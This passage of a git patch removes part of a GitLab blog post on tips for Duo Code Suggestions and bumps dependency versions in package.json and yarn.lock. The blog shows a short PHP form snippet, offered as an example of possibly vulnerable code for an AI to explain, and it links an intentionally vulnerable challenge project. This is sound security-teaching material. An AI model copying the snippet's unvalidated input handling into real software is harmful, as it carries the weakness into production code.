implementation in various frameworks can take time.\n\n3. In your IDE, select the source code, and use the [`/tests` slash command](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide) in the Chat prompt. You can also refine the prompt to focus in specific test frameworks, scenarios, input methods, etc. \n\n    - Code quality and test coverage reports are green again. Focus on efficient DevSecOps workflows with Code Suggestions again. \n\nMore scenarios are described in the [GitLab Duo use cases documentation](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html).\n\n### Use Chat to generate build configuration\n\nThe time-intensive research on getting started with a new project can be exhausting. Especially with different paths to do it right, or alternative frameworks, this can lead to more work than anticipated. Newer programming languages like Rust propose one way (Cargo), while Java, C++, etc. offer multiple ways and additional configuration languages on top (Kotlin DSL, CMake DSL, etc.).\n\nTake advantage of asking GitLab Duo how to start a project, generate specific configuration examples for build tools (e.g. `Please show a gradle.build example for Spring Boot`), and reduce the time to start developing, building, and testing source code.\n\n1. Java, Gradle, Spring Boot: `Please show a gradle.build example for Spring Boot`\n1. C++, CMake, clang: `Please show a basic CMake configuration file for C++17, using clang as compiler.`\n1. Python: `Please show how to initialize and configure a Python project on the CLI`\n1. Rust: `Please show how to initialize and configure a Rust project.`, followed by a refinement question: `Explain the structure of Cargo.toml`.\n1. Go: `Please show how to initialize and configure a Go project`. \n\n### Use Chat to explain potential vulnerabilities\n\nLet us assume that some PHP code was generated to create a web form. The code might be vulnerable to security issues.\n\n```php\n<?php \n// Create a feedback form for user name, email, and comments\n// Render a HTML form\n\n$name = $_POST['name'];\n$email = $_POST['email'];\n$comments = $_POST['comments'];\n\necho '<form method=\"post\">';\necho '<label for=\"name\">Name:</label>';\necho '<input type=\"text\" id=\"name\" name=\"name\">';\n\necho '<label for=\"email\">Email:</label>';\necho '<input type=\"email\" id=\"email\" name=\"email\">';\n\necho '<label for=\"comments\">Comments:</label>';\necho '<textarea id=\"comments\" name=\"comments\"></textarea>';\n\necho '<input type=\"submit\" value=\"Submit\">'; \necho '</form>';\n\n?>\n```\n\nSelect the source code, and [ask Chat to explain](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide), using a refined prompt with `/explain why this code is vulnerable to bad security actors`. \n\n![Code Suggestions - Chat explains potential vulnerability](//images.ctfassets.net/r9o86ar0p03f/4grr9n96GWiRZRuTCbRXBN/3d3b30a85722203211b83a6cd3025221/duo_code_suggestions_chat_explain_potential_vulnerability.png)\n\n> **Tip**: We are investigating and learning in the local developer environment. The vulnerable source code can be fixed before it reaches a Git push and merge request that trigger security scanning, which will unveil and track the problems, too. Learning about security vulnerabilities helps improve the developer experience.\n\n### Combine vulnerability resolution with Code Suggestions\n\nLets look into another example with an intentional [vulnerability resolution challenge](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/vulnerability-resolution/challenge-resolve-vulnerabilities), and see if we can use Code Suggestions in combination with vulnerability resolution. The linked project has been preconfigured with static application security testing (SAST) scanning. You can follow these steps to configure GitLab SAST by using the [SAST CI/CD component](https://gitlab.com/explore/catalog/components/sast) in the `.gitlab-ci.yml` CI/CD configuration file.\n\n```yaml\ninclude:\n  # Security: SAST (for vulnerability resolution)\n  - component: gitlab.com/components/sast/sast@1.1.0\n```\n\nAfter inspecting the vulnerability dashboard and details, you can use [vulnerability explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) to better understand the context and potential problems. [Vulnerability resolution](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#vulnerability-resolution) creates a rerge request with a proposed source code fix for a detected security vulnerability. \n\nSometimes, it can be necessary to refine the suggested code. Navigate into the [created MR](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/vulnerability-resolution/challenge-resolve-vulnerabilities/-/merge_requests/1), and either copy the Git branch path for local Git fetch, or open the Web IDE from the `Edit` button to continue in the browser. Navigate into the source code sections with the fixed code portions, and modify the code with a comment:\n\n```\n// refactor using safe buffers, null byte termination\n```\n\n![duo code suggestions - with vulnerability resolution proposal](//images.ctfassets.net/r9o86ar0p03f/1MKurGr4OdgNasjpBYvlEm/d752cf71376a67b10bee5ed59225602e/duo_code_suggestions_with_vulnerability_resolution_proposal.png)\n\nAlternatively, you can also open Chat, select the source code and use the `/refactor` slash command.\n\n![duo code suggestions - with vulnerability resolution add duo chat refactor](//images.ctfassets.net/r9o86ar0p03f/2pzDspHRDFcPPo9KWhqGtP/7c3d10104a352fed008e9ca3a8594891/duo_code_suggestions_with_vulnerability_resolution_add_duo_chat_refactor.png)\n\nA full example is available in the [GitLab Duo use cases documentation](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#explain-and-resolve-vulnerabilities). \n\nHere is a recording of that example:\n\n<!-- blank line -->\n<figure class=\"video_container\">\n  <iframe src=\"https://www.youtube.com/embed/Ypwx4lFnHP0\" frameborder=\"0\" allowfullscreen=\"true\"> </iframe>\n</figure>\n<!-- blank line -->\n\n## More tips \n\n### Verify code quality and security\n\nMore generated code requires quality assurance, testing, and security measures. Benefit from all features on a DevSecOps platform:\n\n1. [CI/CD components](https://docs.gitlab.com/ee/ci/components/) and [pipeline efficiency](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html)\n1. [Code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n1. [Code test coverage](https://docs.gitlab.com/ee/ci/testing/code_coverage.html)\n1. [Application security](https://docs.gitlab.com/ee/user/application_security/)\n1. [Observability](https://docs.gitlab.com/ee/operations/tracing.html)\n\n### Learn as a team, and understand AI impact\n\nAdapt and explore with dedicated team collaboration sessions, and record them for other teams to benefit from later. You can also follow the [GitLab Duo Coffee Chat playlist on YouTube](https://www.youtube.com/playlist?list=PL05JrBw4t0Kp5uj_JgQiSvHw1jQu0mSVZ).\n\nRead about AI impact metrics, including [How to put generative AI to work in your DevSecOps environment](https://about.gitlab.com/blog/2024/03/07/how-to-put-generative-ai-to-work-in-your-devsecops-environment/) and the [Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/2024/05/15/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/). Visit the [AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) to learn more about data usage, transparency, and AI ethics at GitLab.\n\n### Development is a marathon, not a sprint\n\nSometimes, code suggestions might take longer to load, compared to local auto-completion features. Take this time as an advantage, and think about the current algorithm or problem you are trying to solve. Often, a secondary thought can lead to more refined ideas. Or you can take a short break to take a sip from your preferred drink, and continue refreshed when the suggestions arrive.\n\nSome algorithms are super complex, or require code dependencies which cannot be resolved through auto-completion help. Proprietary and confidential code may provide less context to the large language models, and, therefore, require more context in the comments for Code Suggestions. Follow your own pace and strategy, and leverage Code Suggestions in situations where they help with boilerplate code, or helper functions. \n\n> **Tip:** Explore [Repository X-Ray](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/repository_xray.html) for more Code Suggestions context, and test experimental features, for example, [support for more languages in VS Code](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#add-support-for-more-languages-for-code-suggestions-in-vs-code). More insights can be found in the epic to [improve acceptance rate for Code Suggestions](https://gitlab.com/groups/gitlab-org/-/epics/13085).\n\n### Contribute using GitLab Duo\n\nYou can use GitLab Duo to contribute to open source projects, using Code Suggestions, code refactoring, documentation through explanations, or test generation.\n\nGitLab customers can [co-create GitLab using GitLab Duo](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#use-gitlab-duo-to-contribute-to-gitlab), too. Follow the updated guidelines for [AI-generated contributions](https://about.gitlab.com/community/contribute/dco-cla/#ai-generated-contributions), and watch an example recording from the GitLab Duo Coffee Chat: Contribute to GitLab using Code Suggestions and Chat:\n\n<!-- blank line -->\n<figure class=\"video_container\">\n  <iframe src=\"https://www.youtube.com/embed/TauP7soXj-E\" frameborder=\"0\" allowfullscreen=\"true\"> </iframe>\n</figure>\n<!-- blank line -->\n\n## Share your feedback\n\nGitLab Duo Code Suggestions enables more efficient development workflows. It requires hands-on practice and exercise through tutorials, team workshops, and guided training. Automated workflows with code quality, security scanning, and observability help tackle challenges with newly introduced source code at a much higher frequency. Taking advantage of all GitLab Duo features, including Chat, greatly improves the developer experience on the most comprehensive AI-powered DevSecOps platform.\n\nUse the best practices in this tutorial to kickstart your journey, follow the [GitLab Duo documentation](https://docs.gitlab.com/ee/user/gitlab_duo/index.html), and [ask our teams for GitLab Duo AI workshops](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/) (I have already shadowed customer workshops, they are great!). Please share your Code Suggestions feedback in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/435783), including screenshots and videos (when possible).\n\n> [Try GitLab Duo for free today!](https://about.gitlab.com/gitlab-duo/#free-trial)"
-  category: AI/ML
-  tags:
-    - AI/ML
-    - features
-    - tutorial
-config:
-  slug: top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo
-  featured: true
-  template: BlogPost
diff --git a/package.json b/package.json
index a4967df67..86a6cb088 100644
--- a/package.json
+++ b/package.json
@@ -22,7 +22,7 @@
   "dependencies": {
     "@gitlab/fonts": "^1.3.0",
     "@markslides/markdown-it-mermaid": "^0.3.4",
-    "@nuxt/content": "^3.2.0",
+    "@nuxt/content": "^3.2.2",
     "@nuxt/eslint": "^0.5.7",
     "@nuxt/fonts": "^0.10.2",
     "@nuxt/image": "^1.8.1",
diff --git a/yarn.lock b/yarn.lock
index f984b554d..c9766557f 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -29,9 +29,9 @@
   integrity sha512-Mex9nXf9vR6AhcXmMrlz/HVgYYZpVGJ6YlPgwl7UnaFpnshXs6EK/oa5Gpf3CzENMjkvEx2tQtntGnb7UtSTOQ==
 
 "@apidevtools/json-schema-ref-parser@^11.7.0":
-  version "11.9.1"
-  resolved "https://registry.yarnpkg.com/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.1.tgz#51d297224f6ee1dab40dfb2dfe298812b8e0ef9c"
-  integrity sha512-OvyhwtYaWSTfo8NfibmFlgl+pIMaBOmN0OwZ3CPaGscEK3B8FCVDuQ7zgxY8seU/1kfSvNWnyB0DtKJyNLxX7g==
+  version "11.9.2"
+  resolved "https://registry.yarnpkg.com/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.2.tgz#d0b62920158e07f07dd2862c40da45be77ccede0"
+  integrity sha512-q/UMCDNrMV3teJ4oJPgr07qoq7DvZ8B/0Vn1oq7i6NhJuxmIb506pVarKsUPc8GJyk8qP6HSFvOJt6B7CGvFSg==
   dependencies:
     "@jsdevtools/ono" "^7.1.3"
     "@types/json-schema" "^7.0.15"
@@ -1281,7 +1281,7 @@
     tinyexec "^0.3.2"
     ufo "^1.5.4"
 
-"@nuxt/content@^3.2.0":
+"@nuxt/content@^3.2.2":
   version "3.2.2"
   resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.2.2.tgz#d43e427b96253630dbebbe14f02f216f062a89b9"
   integrity sha512-ug3UadxHTXXfaQpgBAA3OkrLidjxDi4XdLRjeoFfGhx2sWT77YzbytEWYA2VkxtqkZ9y4BzCs9xfum9m1/AcKg==
@@ -2029,18 +2029,18 @@
     require-from-string "^2.0.2"
     uri-js-replace "^1.0.1"
 
-"@redocly/config@^0.20.1":
-  version "0.20.3"
-  resolved "https://registry.yarnpkg.com/@redocly/config/-/config-0.20.3.tgz#a8250528c3c7d61430119ef79efcbdb536bd56ff"
-  integrity sha512-Nyyv1Bj7GgYwj/l46O0nkH1GTKWbO3Ixe7KFcn021aZipkZd+z8Vlu1BwkhqtVgivcKaClaExtWU/lDHkjBzag==
+"@redocly/config@^0.21.0":
+  version "0.21.0"
+  resolved "https://registry.yarnpkg.com/@redocly/config/-/config-0.21.0.tgz#beb6a82f30e0ea2c164283138dd93aa82fc4ba7f"
+  integrity sha512-JBtrrjBIURTnzb7KUIWOF46vSgpfC3rO6Mm8LjtRjtTNCLTyB+mOuU7HrTkVcvUCEBuSuzkivlTHMWT4JETz9A==
 
 "@redocly/openapi-core@^1.28.0":
-  version "1.30.0"
-  resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.30.0.tgz#9ee343d6efa15f98039b37a3fa6f2765c0da08f1"
-  integrity sha512-ZZc+FXKoQXJ9cOR7qRKHxOfKOsGCj2wSodklKdtM2FofzyjzvIwn1rksD5+9iJxvHuORPOPv3ppAHcM+iMr/Ag==
+  version "1.31.2"
+  resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.31.2.tgz#dad99f76cec0cfc65062a80f560cc748f779ed9e"
+  integrity sha512-HScpiSuluLic9+QpsI2JWaegeDuRn3hximPBpiUpy4WdXf74Ev094kpUgjhiD3xDuP/KpVdchooAkLnzQ0X+vg==
   dependencies:
     "@redocly/ajv" "^8.11.2"
-    "@redocly/config" "^0.20.1"
+    "@redocly/config" "^0.21.0"
     colorette "^1.2.0"
     https-proxy-agent "^7.0.5"
     js-levenshtein "^1.1.6"
@@ -3100,13 +3100,13 @@
   integrity sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==
 
 "@unhead/addons@^1.11.19":
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/@unhead/addons/-/addons-1.11.19.tgz#cbc7a268437678bb06bba30f84990921ef5d7472"
-  integrity sha512-lnWuZ8pI9lGmiDIVNt5VNRT8n3CQ3zVgxNO6LyyCsE6+BiOMHh3Xd21btIKiF6n0LuJj5aG2vuNlrc0BqbEZTA==
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/@unhead/addons/-/addons-1.11.20.tgz#7f8fb1101e1fff0754d9a2082f0bc13771246b90"
+  integrity sha512-6iZd9dFv0pcp3gIuS32OPbA7BUgTixTKnkFzqU2OYbrVDqHrY8BEuUOZY9BN83edVSp376y7xIp1qucmL2es8w==
   dependencies:
     "@rollup/pluginutils" "^5.1.4"
-    "@unhead/schema" "1.11.19"
-    "@unhead/shared" "1.11.19"
+    "@unhead/schema" "1.11.20"
+    "@unhead/shared" "1.11.20"
     estree-walker "^3.0.3"
     magic-string "^0.30.17"
     mlly "^1.7.3"
@@ -3114,13 +3114,13 @@
     unplugin "^2.1.2"
     unplugin-ast "^0.13.1"
 
-"@unhead/dom@1.11.19", "@unhead/dom@^1.11.18":
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/@unhead/dom/-/dom-1.11.19.tgz#8228302149a01e1b170a824057735fe0e2fe80d0"
-  integrity sha512-udkgITdIblEWH3hsoFQMKW+6QXNO2qFZlZ2FI37bVAplQSnK/PytTPt/5oA1GWkoVwT0DsQNGHbU6kOg/3SlNg==
+"@unhead/dom@1.11.20", "@unhead/dom@^1.11.18":
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/@unhead/dom/-/dom-1.11.20.tgz#b777f439e1c5f80ebcceb89aa45c45e877013c62"
+  integrity sha512-jgfGYdOH+xHJF/j8gudjsYu3oIjFyXhCWcgKaw3vQnT616gSqyqnGQGOItL+BQtQZACKNISwIfx5PuOtztMKLA==
   dependencies:
-    "@unhead/schema" "1.11.19"
-    "@unhead/shared" "1.11.19"
+    "@unhead/schema" "1.11.20"
+    "@unhead/shared" "1.11.20"
 
 "@unhead/dom@1.11.9":
   version "1.11.9"
@@ -3131,22 +3131,22 @@
     "@unhead/shared" "1.11.9"
 
 "@unhead/schema-org@^1.11.19":
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/@unhead/schema-org/-/schema-org-1.11.19.tgz#5d074ecc9537587932eb0c8ed432c557b5881529"
-  integrity sha512-1gSEhNGKXLhLbL6Gri3YfWQiEQM+DaGlF4987eIfkTUxlPVwtr5IfDmpbY7TbJaexQlC14p0CfYuPo3RLQlcHQ==
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/@unhead/schema-org/-/schema-org-1.11.20.tgz#2e43b6c39315ac8c727aa8da89b1eb612b2902e9"
+  integrity sha512-ElyhQW0+w4xPB1Im/XWvdUmW+abGdgrsrpXnQZ7uILtPlLBoK1IUC8miFCj1//bh9tHYRB/OfEyBODunvE1woA==
   dependencies:
-    "@unhead/schema" "1.11.19"
-    "@unhead/shared" "1.11.19"
-    "@unhead/vue" "1.11.19"
+    "@unhead/schema" "1.11.20"
+    "@unhead/shared" "1.11.20"
+    "@unhead/vue" "1.11.20"
     defu "^6.1.4"
     ohash "^1.1.4"
     ufo "^1.5.4"
-    unhead "1.11.19"
+    unhead "1.11.20"
 
-"@unhead/schema@1.11.19":
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/@unhead/schema/-/schema-1.11.19.tgz#0df49ba27725403a6a3edb7400d7e596bd9e6ec6"
-  integrity sha512-7VhYHWK7xHgljdv+C01MepCSYZO2v6OhgsfKWPxRQBDDGfUKCUaChox0XMq3tFvXP6u4zSp6yzcDw2yxCfVMwg==
+"@unhead/schema@1.11.20":
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/@unhead/schema/-/schema-1.11.20.tgz#e4341832a203b990380df906391e9039501257fa"
+  integrity sha512-0zWykKAaJdm+/Y7yi/Yds20PrUK7XabLe9c3IRcjnwYmSWY6z0Cr19VIs3ozCj8P+GhR+/TI2mwtGlueCEYouA==
   dependencies:
     hookable "^5.5.3"
     zhead "^2.2.4"
@@ -3159,12 +3159,12 @@
     hookable "^5.5.3"
     zhead "^2.2.4"
 
-"@unhead/shared@1.11.19", "@unhead/shared@^1.11.18":
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/@unhead/shared/-/shared-1.11.19.tgz#eda12ff878a05ddd7a349336273c4ca79f0d272e"
-  integrity sha512-UYE9EIeQLJOhx8vC71bWGkAGY4Zzq/H8qYlihowUg4NiFOfL+KKMnj96datb74PRxSDvHac9V3OLktNcsX2NuA==
+"@unhead/shared@1.11.20", "@unhead/shared@^1.11.18":
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/@unhead/shared/-/shared-1.11.20.tgz#593926bff62d88cda9a19b9d41d2bcdb3ed08da4"
+  integrity sha512-1MOrBkGgkUXS+sOKz/DBh4U20DNoITlJwpmvSInxEUNhghSNb56S0RnaHRq0iHkhrO/cDgz2zvfdlRpoPLGI3w==
   dependencies:
-    "@unhead/schema" "1.11.19"
+    "@unhead/schema" "1.11.20"
     packrup "^0.1.2"
 
 "@unhead/shared@1.11.9":
@@ -3175,22 +3175,22 @@
     "@unhead/schema" "1.11.9"
 
 "@unhead/ssr@^1.11.18":
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/@unhead/ssr/-/ssr-1.11.19.tgz#3f73180ad3b7a2c99757657b1bd248503ab7350e"
-  integrity sha512-OH+rj6xBTdYyLsSntk4lEQyR+z57aEUZIiR2UpPl1zWGtBZPIr5zs3GY5+EyJ8t8e0zLemPR/Pu7VembTJ8o1w==
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/@unhead/ssr/-/ssr-1.11.20.tgz#3f52fc0a9c5691c24f97a24deccb937b4ec20f6e"
+  integrity sha512-j6ehzmdWGAvv0TEZyLE3WBnG1ULnsbKQcLqBDh3fvKS6b3xutcVZB7mjvrVE7ckSZt6WwOtG0ED3NJDS7IjzBA==
   dependencies:
-    "@unhead/schema" "1.11.19"
-    "@unhead/shared" "1.11.19"
+    "@unhead/schema" "1.11.20"
+    "@unhead/shared" "1.11.20"
 
-"@unhead/vue@1.11.19", "@unhead/vue@^1.11.18":
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/@unhead/vue/-/vue-1.11.19.tgz#f41d8bef8ae83eb089b24540efb390402bee64f9"
-  integrity sha512-/XATTP8wVLs3+2Pkj2crvr/Z55nybVQyOwISh+sAlr/48/9n3jGNiCZHKpHgL4MpOnGT4krwzWzbfhBO/G2BSQ==
+"@unhead/vue@1.11.20", "@unhead/vue@^1.11.18":
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/@unhead/vue/-/vue-1.11.20.tgz#609513751abfd2d20426d2e97337f3a76fbb8b12"
+  integrity sha512-sqQaLbwqY9TvLEGeq8Fd7+F2TIuV3nZ5ihVISHjWpAM3y7DwNWRU7NmT9+yYT+2/jw1Vjwdkv5/HvDnvCLrgmg==
   dependencies:
-    "@unhead/schema" "1.11.19"
-    "@unhead/shared" "1.11.19"
+    "@unhead/schema" "1.11.20"
+    "@unhead/shared" "1.11.20"
     hookable "^5.5.3"
-    unhead "1.11.19"
+    unhead "1.11.20"
 
 "@unhead/vue@1.11.9":
   version "1.11.9"
@@ -4064,9 +4064,9 @@ bare-fs@^4.0.1:
     bare-stream "^2.0.0"
 
 bare-os@^3.0.1:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/bare-os/-/bare-os-3.4.0.tgz#97be31503f3095beb232a6871f0118859832eb0c"
-  integrity sha512-9Ous7UlnKbe3fMi7Y+qh0DwAup6A1JkYgPnjvMDNOlmnxNRQvQ/7Nst+OnUQKzk0iAT0m9BisbDVp9gCv8+ETA==
+  version "3.5.1"
+  resolved "https://registry.yarnpkg.com/bare-os/-/bare-os-3.5.1.tgz#8e59ad8db6d0eab35cfe499208db643fd5f4c594"
+  integrity sha512-LvfVNDcWLw2AnIw5f2mWUgumW3I3N/WYGiWeimhQC1Ybt71n2FjlS9GJKeCnFeg1MKZHxzIFmpFnBXDI+sBeFg==
 
 bare-path@^3.0.0:
   version "3.0.0"
@@ -4308,9 +4308,9 @@ caniuse-api@^3.0.0:
     lodash.uniq "^4.5.0"
 
 caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001646, caniuse-lite@^1.0.30001688:
-  version "1.0.30001700"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001700.tgz#26cd429cf09b4fd4e745daf4916039c794d720f6"
-  integrity sha512-2S6XIXwaE7K7erT8dY+kLQcpa5ms63XlRkMkReXjle+kf6c5g38vyMl+Z5y8dSxOFDhcFe+nxnn261PLxBSQsQ==
+  version "1.0.30001701"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001701.tgz#ad9c90301f7153cf6b3314d16cc30757285bf9e7"
+  integrity sha512-faRs/AW3jA9nTwmJBSO1PQ6L/EOgsB5HMQQq4iCu5zhPgVVgO/pZRHlmatwijZKetFw8/Pr4q6dEN8sJuq8qTw==
 
 ccount@^2.0.0:
   version "2.0.1"
@@ -5054,9 +5054,9 @@ cytoscape-fcose@^2.2.0:
     cose-base "^2.2.0"
 
 cytoscape@^3.29.2:
-  version "3.31.0"
-  resolved "https://registry.yarnpkg.com/cytoscape/-/cytoscape-3.31.0.tgz#cffbbb8ca51db01cbf360e0cf59088db6d429837"
-  integrity sha512-zDGn1K/tfZwEnoGOcHc0H4XazqAAXAuDpcYw9mUnUjATjqljyCNGJv8uEvbvxGaGHaVshxMecyl6oc6uKzRfbw==
+  version "3.31.1"
+  resolved "https://registry.yarnpkg.com/cytoscape/-/cytoscape-3.31.1.tgz#29b12cac715fbb2aacc50cdf5cf1467aadde9c00"
+  integrity sha512-Hx5Mtb1+hnmAKaZZ/7zL1Y5HTFYOjdDswZy/jD+1WINRU8KVi1B7+vlHdsTwY+VCFucTreoyu1RDzQJ9u0d2Hw==
 
 "d3-array@1 - 2":
   version "2.12.1"
@@ -5609,9 +5609,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.73:
-  version "1.5.104"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.104.tgz#e92a1ec54f279d8fc60eb7e8cf6add9631631f38"
-  integrity sha512-Us9M2L4cO/zMBqVkJtnj353nQhMju9slHm62NprKTmdF3HH8wYOtNvDFq/JB2+ZRoGLzdvYDiATlMHs98XBM1g==
+  version "1.5.106"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.106.tgz#ed07e5eb617eacbfbb96d22f077c28315f2a5bc9"
+  integrity sha512-12keJGdXQWPnfVOu6/6ZzZgPPNodiDOSe3LjA8qk2yXTjnCnw2LeGUsAmtlNAmH4UW0K7tOLcz0j9lI2eJCJRA==
 
 emoji-regex-xs@^1.0.0:
   version "1.0.0"
@@ -6274,9 +6274,9 @@ fastest-levenshtein@^1.0.16:
   integrity sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==
 
 fastq@^1.15.0, fastq@^1.6.0:
-  version "1.19.0"
-  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.19.0.tgz#a82c6b7c2bb4e44766d865f07997785fecfdcb89"
-  integrity sha512-7SFSRCNjBQIZH/xZR3iy5iQYR8aGBE0h3VG6/cwlbrpdciNYBMotQav8c1XI3HjHH+NikUpP53nPdlZSdWmFzA==
+  version "1.19.1"
+  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.19.1.tgz#d50eaba803c8846a883c16492821ebcd2cda55f5"
+  integrity sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==
   dependencies:
     reusify "^1.0.4"
 
@@ -8785,9 +8785,9 @@ minipass-collect@^2.0.1:
     minipass "^7.0.3"
 
 minipass-fetch@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-4.0.0.tgz#b8ea716464747aeafb7edf2e110114c38089a09c"
-  integrity sha512-2v6aXUXwLP1Epd/gc32HAMIWoczx+fZwEPRHm/VwtrJzRGwR1qGZXEYV3Zp8ZjjbwaZhMrM6uHV4KVkk+XCc2w==
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-4.0.1.tgz#f2d717d5a418ad0b1a7274f9b913515d3e78f9e5"
+  integrity sha512-j7U11C5HXigVuutxebFadoYBbd7VSdZWggSe64NVdvWNBqGAiXPL2QVCehjmw7lY1oF9gOllYbORh+hiNgfPgQ==
   dependencies:
     minipass "^7.0.3"
     minipass-sized "^1.0.3"
@@ -11011,9 +11011,9 @@ retry@^0.12.0:
   integrity sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==
 
 reusify@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
-  integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.1.0.tgz#0fe13b9522e1473f51b558ee796e08f11f9b489f"
+  integrity sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==
 
 rfdc@^1.4.1:
   version "1.4.1"
@@ -12286,14 +12286,14 @@ unenv@^1.10.0:
     node-fetch-native "^1.6.4"
     pathe "^1.1.2"
 
-unhead@1.11.19, unhead@^1.11.18:
-  version "1.11.19"
-  resolved "https://registry.yarnpkg.com/unhead/-/unhead-1.11.19.tgz#6cd72282cac946f609456add6232038ea35747b6"
-  integrity sha512-O5AYb3+xUOzBlwDmPfC/DgGp9rDMoGkB4gFkhoaz8IonQqP8W8qqetxYf5ZyEdntvXnFsMWS8lZF//5176xo6Q==
+unhead@1.11.20, unhead@^1.11.18:
+  version "1.11.20"
+  resolved "https://registry.yarnpkg.com/unhead/-/unhead-1.11.20.tgz#910af0ddaac0bca24d32b4dbe0d6291cd813b9bc"
+  integrity sha512-3AsNQC0pjwlLqEYHLjtichGWankK8yqmocReITecmpB1H0aOabeESueyy+8X1gyJx4ftZVwo9hqQ4O3fPWffCA==
   dependencies:
-    "@unhead/dom" "1.11.19"
-    "@unhead/schema" "1.11.19"
-    "@unhead/shared" "1.11.19"
+    "@unhead/dom" "1.11.20"
+    "@unhead/schema" "1.11.20"
+    "@unhead/shared" "1.11.20"
     hookable "^5.5.3"
 
 unhead@1.11.9:
@@ -12647,9 +12647,9 @@ unwasm@^0.3.9:
     unplugin "^1.10.0"
 
 update-browserslist-db@^1.1.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.2.tgz#97e9c96ab0ae7bcac08e9ae5151d26e6bc6b5580"
-  integrity sha512-PPypAm5qvlD7XMZC3BujecnaOxwhrtoFR+Dqkk5Aa/6DssiH0ibKoketaj9w8LP7Bont1rYeoV5plxD7RTEPRg==
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz#348377dd245216f9e7060ff50b15a1b740b75420"
+  integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
   dependencies:
     escalade "^3.2.0"
     picocolors "^1.1.1"
-- 
GitLab


From 4181a26787c09e9c324f670b43c8da8a1f243c7e Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Thu, 27 Feb 2025 00:38:05 -0500
Subject: [PATCH 12/56] Blog working with nuxt content v3

---
